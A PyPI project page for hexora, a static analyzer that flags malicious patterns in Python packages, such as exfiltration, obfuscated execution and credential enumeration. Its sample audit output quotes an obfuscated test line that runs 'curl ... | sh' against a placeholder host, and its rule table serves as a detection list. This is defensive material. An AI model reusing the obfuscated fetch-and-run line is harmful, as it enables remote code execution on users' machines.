Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testing Against Malicious Dataset

When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.

After cloning, point the benchmarking tool to the dataset directory:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.2.3.tar.gz (5.7 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.2.3-cp314-cp314-win_amd64.whl (2.7 MB view details)

Uploaded CPython 3.14Windows x86-64

hexora-0.2.3-cp314-cp314-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.14musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp314-cp314-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp314-cp314-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp314-cp314-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

hexora-0.2.3-cp314-cp314-macosx_10_15_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.14macOS 10.15+ x86-64

hexora-0.2.3-cp313-cp313-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.2.3-cp313-cp313-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp313-cp313-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp313-cp313-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp313-cp313-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.2.3-cp313-cp313-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.2.3-cp312-cp312-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.2.3-cp312-cp312-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp312-cp312-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp312-cp312-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp312-cp312-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.2.3-cp312-cp312-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.2.3-cp311-cp311-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.2.3-cp311-cp311-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp311-cp311-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp311-cp311-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp311-cp311-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.2.3-cp311-cp311-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.2.3-cp310-cp310-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.2.3-cp310-cp310-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp310-cp310-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp310-cp310-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp310-cp310-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.2.3-cp310-cp310-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.2.3-cp39-cp39-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.2.3-cp39-cp39-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.2.3-cp39-cp39-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.2.3-cp39-cp39-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.2.3-cp39-cp39-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.2.3-cp39-cp39-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.2.3.tar.gz.

File metadata

  • Download URL: hexora-0.2.3.tar.gz
  • Upload date:
  • Size: 5.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3.tar.gz
Algorithm Hash digest
SHA256 8d6004c2e3655b8b680140dba545583c25b9d83e562ca5ba009ffc346003aa0d
MD5 651d6841e4fa17ceeca4efa7a081e085
BLAKE2b-256 0820f56f576859f44c45d66a0ff32f77ac631ecc623310d2132b0eda2939e61a

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp314-cp314-win_amd64.whl
  • Upload date:
  • Size: 2.7 MB
  • Tags: CPython 3.14, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 230c25a71ff98616eafa58cb43cd8189049198dc6e33f31be7243a155db8bd20
MD5 8171b5f365786010cb1662caf0cbed58
BLAKE2b-256 bf03020bb1c2254bd8000800c0730322421462f1326eba0a268f1abb535835e1

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp314-cp314-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 9e581ad74165018c1220b9042534a15c243e0996678d56d5ff58c4a391b7c0b8
MD5 d194454b347912cef8717da2e206b67d
BLAKE2b-256 d4815f8c759549d8450176a0802be95752b7ff12f4d0839fce3c5db102cc9a29

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp314-cp314-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 76dd18f22201edae89c448d85170f148fbd5ab3a0fd9d346a6bf2fa6844fca9e
MD5 fa350fe0656b6db078ec7ee587942583
BLAKE2b-256 a519d77fffc8cf2c7820ebe49f49d4807cea9d1cc595771aced99396386ab9a7

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp314-cp314-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 73c7375d3ed9cf5532670d5ff7a2a4557e080214c6e23115a8c7c509be158f92
MD5 0b5437f8b4d3119d1cff621f1fb35bb7
BLAKE2b-256 6584fc9368a342fee528979e5c3e12f2f8bbf0e941117a0aca0469734adc7299

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 540a58387f16b56f14613a88441d435e352c8f9565c1fac52cd15a23555edab7
MD5 b4a75da610be867bb1ada5075df23a20
BLAKE2b-256 af74c079467e2ca1f092e1c0fb9ab039b2dd40dd26e45f0d66d450016de2993a

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp314-cp314-macosx_10_15_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp314-cp314-macosx_10_15_x86_64.whl
Algorithm Hash digest
SHA256 89607d9c029120fdb67c84ad176d262c3eed57b2d4a065f7ffbd502a40aa46a3
MD5 18070e0261091144739e5913cf83623c
BLAKE2b-256 3a8bb60a6e5c3af3649b50a60d49a09b14cd91ff032abadc22c212fe3b43a0e0

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 a615c743ebe74bf00550b181cd22a5ac0c6f7c032127610bedd872d10c232b3d
MD5 06d3ced9a550bc8b4150b9fb83ff2c9f
BLAKE2b-256 493aa70716800a098a40f3dc4daa0a49e64148217c3866e2303509e28bf8d2d0

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 7fe7d17089934106d1be739e028e8295dc43a0aba1a8aac7e8c746bee2bf8374
MD5 2353ab027383699a16ca2785a7ec8524
BLAKE2b-256 e253fb493c0d9d7a1b71f20fbee16d3cc950f3dd90d36995e3ef6e8db45d95a7

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 671926572c97363552de4061b7712e7b09283178ea5d4587947db59579665463
MD5 86693eb36302323c5b75fccecaf06b29
BLAKE2b-256 5e2f0338d9d4a9a913bef5e4e215336d2713569e0f95ef030357ad5ed4fd6ad3

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 c6d8109903c3f17770dd333ffc4e1fd5eb69cc44557a83f8673e1cb54fdcbfb7
MD5 39f5945fb8f139978e61011ddf33cf0a
BLAKE2b-256 ed4a5edf441e70bcd1f18ed1c9d7426cf39273f54053105e83847f9e223e81d2

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 301ff0b30c6042e6f480e4f61440231edc3380526869abc344160ac9574e1ba2
MD5 2a9eeef5c2e4bea9a2a49c87c7472bac
BLAKE2b-256 ca322144623075b6aa597ec14c57a49fd6bf10186741fa5c95029893087896d6

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 9affd1404329143f016b7565eed0861f903abbd530df5235528fbc0c35996035
MD5 6994ff8211ff36ea4c781d42b04e6412
BLAKE2b-256 a068f460954695abca57454b2bf05869f05a4977dc8470d3e6bd7aae06e91479

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 70870520195b5646054aa4f41d4c4b3f441836193f024cda480ad4d5ce9fa255
MD5 b9c6199570df9cae54eb6aede29842fb
BLAKE2b-256 953b04d1146d8a2d21b9f763b2bb4367d6f0ad3f320f6f5ec78bc6304ead3cab

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 84992b9fa3c77fc68a8288de11be7d9e30d84fea93421fcb50c90a0fed7b89b9
MD5 750c959395ba0df4c25434de98b3b764
BLAKE2b-256 31b0f59c62b87c0f894a50ba58fdd2d247a7308edc4b71d4629ad1b793a9ebb0

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 e0a64a1f731ec14d84517a2ba3a4f538e44c782bf7c0cc00a7740839c4e06855
MD5 0dadff0cf04d3f3df70af2d039db0a43
BLAKE2b-256 469f2fc621f1bf8502138281ad7a39f19c450f7b1a85235be6f2868ecf2a59c6

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 546c26e226c60461572b0be7e3390bf22794d5319380c053e72f9f7a8766353f
MD5 1daabbca61bd9dfd44e862f3ac021f78
BLAKE2b-256 84fea5ba99fc70bc683ae1c99d5c41abd5d8684dac0ce7d8fe5225b9629ffe6c

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 2b6e1babaf459018160464e59521d7252eb80f65264a51750e8820bf1e08fd1b
MD5 9f818490d27f392ea98b49bdda5544d2
BLAKE2b-256 92a2228012d263bcb7464dfc3f253c2bb0ddbe7c1987f23223e5a29db9e653f9

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 ec62d91de52439c6811467cddc081e7c978583fd1c075488fdf381813aa0b664
MD5 bd414a4e04a974e76b7f0f1b71ef480f
BLAKE2b-256 bfe0bb984bf580c683e227fb7e13d3536b97629ca2163805d2270bec126f5e4c

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 ba8240612325f5a9a39ef0f12218aa9c76d98c365784a00127f62c72a3c4b6e7
MD5 81e68cee8bbd98faf826ad2082236a67
BLAKE2b-256 d0bd3eac05f01164a55ec14dda038270bbc8abf52ea48bde92ef432da6b3906c

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 c094dbbc823d31d8158d38f14750c736853ba8ef8cca833b702b9e70f7a87623
MD5 a7b3f98f6071ca66a2cac2717827ebf3
BLAKE2b-256 9e5a4e8eed5381ee9240d6aae6a0cd9def6a974add255ad271dbb5dd73042ebb

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 63b4ab802ed4081f959cb310b10633768a2db1aae01aff9da5a97e27ec9fe98f
MD5 ffa65bbf07f723c12995d0c26a11dedf
BLAKE2b-256 8ff33c10c0d1fde2c766b10e54c1f9a36dd70a7db1a37176c6bff300149be257

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 4fdc878d292778008694675dca0414f2faf3980453cf0b56e43ed7bb7ee51911
MD5 317733c89f970844541d380bbcaba095
BLAKE2b-256 b5f9bc193ae15a478ed979b4abfe7c04d6137978e49be12896a766f7452dc758

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 aa816581a6ba41950ed65885a2f603f42c5ed6bc1d3a323651b9fa85d1f8acfa
MD5 27325aff9f58d6b151ebf6e025260d09
BLAKE2b-256 7b20b01be30ba61d7f268fd71ad731392300f61aefb14a79920cef49288ad004

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 9ba88ddea7e7a004a6785e101549b0083d259a491259a9024acc09c205f00af0
MD5 9cf6a523ee5909612b473df474f2a16e
BLAKE2b-256 642368c4a4fbbd4f5d25d47498c8c98d2e64a6a9ac3756faef1dc482fd31bde3

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 6ff3fc0adace09856643e2b3d943b30584f876f3cda528d5ff7c6178a7ab8937
MD5 2827a7cd56e0158cd2dec518a0135ed5
BLAKE2b-256 8a11c9e2ff7738db5ac8cfce40d8f0e5d1ef2665f00d1d684d2a3def2ee98dc5

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 f883222e0e2b308f91cb7a5a80fd21e35f78b9105d5af4706224ba105a4407f1
MD5 657c988d53186f7c178db1264dfae101
BLAKE2b-256 e86a5fddef387054040503c93050d949486562c207d6c13e49f04eb220d0a8aa

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 1a2513a8cc3fdf59b1d3c0e8993258c62f9dcd27be1511509e4ba7aac39e1c4d
MD5 73cbd3567e9e1b13a771346ea6d904ff
BLAKE2b-256 4250f725487e7fa072ab7ae236601a0251d7e6cda48b5a81a71cfe9c6ef4edfc

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 00a8077b733ecb7f19e38f75bb099f8872e0c22046819c789012caa816e50875
MD5 2507b484be56b90758928dbe3645987f
BLAKE2b-256 4b2c6615e51894b4ca1dc4d0d6e543275ed7ba06fb56d7f39b8ce4691ff807d1

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f7ddd2b153dd5bb82d6b406416e750d26380ca7b2d532a12504b63eed632c35c
MD5 0347efcfa2f68e83568b810e21fa691f
BLAKE2b-256 b6a17fca4a8beba4c2a8bb2f070cc720179af1905c5c13163c6cff0c28d0f1ac

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 3496596ce4992f2bdfb8f15d2c3646bb4d3b0fdcd9515fc249cb41edf9b4f466
MD5 57a74eda982046cc1114a3723979844c
BLAKE2b-256 a034f3f04494b9a5899ed9bc6bfd821c34a80beb879b91d9bb6461b617dbb26a

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.3-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.3-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 94197837a3cb287192132f8b5f4597fa15c60e79d9406ace7f5f078574847c09
MD5 eeb97a2c8863ba898b4f5886252381f7
BLAKE2b-256 7b1531e3c34a33d14d3ce5a87cc8d203a5da22995bb20b5feb4a68faca8d2c25

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 b1a6789c70ccb6ee4452fbc37231a78d2381956c52b09851e38e0fc6bef8459f
MD5 5a5bfbd62603662e9cc346f4190ea235
BLAKE2b-256 3a5b3b0863af78ef6b6b99e81036c9fc2f60563b7940a48d6fa9ffd4f155c88e

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 28304fbd7d5bd8e52acfc939345ee249d3ded43b548b21c2fe58340f327b6c26
MD5 b3fc8a524d4ecab15822eb148e36f5be
BLAKE2b-256 67ae2e3cf3581c183421c19a0887aaf1eecc651f2ee8be73c99aa2507b970dfa

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 fc35e2ed430f5de0fa69c8f1d8492c7e9f2183bfcf85538a61cff971053eff38
MD5 64702591a4d29c5bd4390f8c97a42050
BLAKE2b-256 8e72c99ec596b20ed766a28c6470883f5b0ad2d7037a2d8e9b7ab2611f0a9813

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f93ec2e7801ab8b1becb57f9df1a9777ea0293a377f6d3251c980c40ddd7780f
MD5 b827d8f88443f129aa2ce898479d94cf
BLAKE2b-256 cc44ad9822b89fdd7931717b187c95f4da36e100450c98d90b33d66a8a96ba5c

See more details on using hashes here.

File details

Details for the file hexora-0.2.3-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.3-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 bc2e4882bb7ecb51a5a9bc35544f56472f60f3b638952fcb37b010476024d04a
MD5 4c31604948d604233172797ecb27edaf
BLAKE2b-256 5893ecf68f69c47d91c1607c8e786e4acda9021907f212cd56c1959f0589108e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page